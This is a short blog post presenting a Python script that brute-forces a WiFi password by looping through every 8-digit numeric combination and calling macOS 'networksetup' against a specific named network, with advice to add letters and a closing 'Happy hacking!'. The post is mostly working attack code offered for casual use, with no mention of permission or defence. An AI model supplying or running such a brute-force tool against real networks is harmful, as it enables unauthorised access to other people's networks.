python script to hack wifi networks using brutal force

Just for fun , I have coded a simple python script which tries different patterns of numbers and or characters to hack a wifi network

 

I am using the mac command “networksetup” to log onto wireless network but simply you can replace it with the corresponding command on windows  or  linux.

 

Here in the code the generated  pattern is 8 numbers , you may exceed as you like , and you may put a mix of letters and numbers

import os
import subprocess

for y in range(0, 10):
           for z in range(0, 10):
               for l in range(0, 10):
                   for m in range(0, 10):
                       for n in range(0, 10):
                           for o in range(0, 10):
                               for p in range(0, 10):
                                   for q in range (0,10):
                                       password=[y,z,l,m,n,o,p,q]
                                       str1 = ''.join(str(e)for e in password)
                                       print ("trying pass ",str1)
                                       proc = subprocess.Popen(["networksetup", "-setairportnetwork","en0","Vodafone_ADSL_903F",str1],stdout=subprocess.PIPE)
                                       x=proc.stdout.readline()
                                       try:
                                         if (x[0]=='F'): # output generated if password os wrong is"False network password" so I take the first letter F and check it
                                             print("trying next password")
                                       except IndexError : #if password is correct there's no command reply hence no string to access it with x[0]
                                             print("Password found !")
                                             break

Happy hacking !

 

 

 

Leave a comment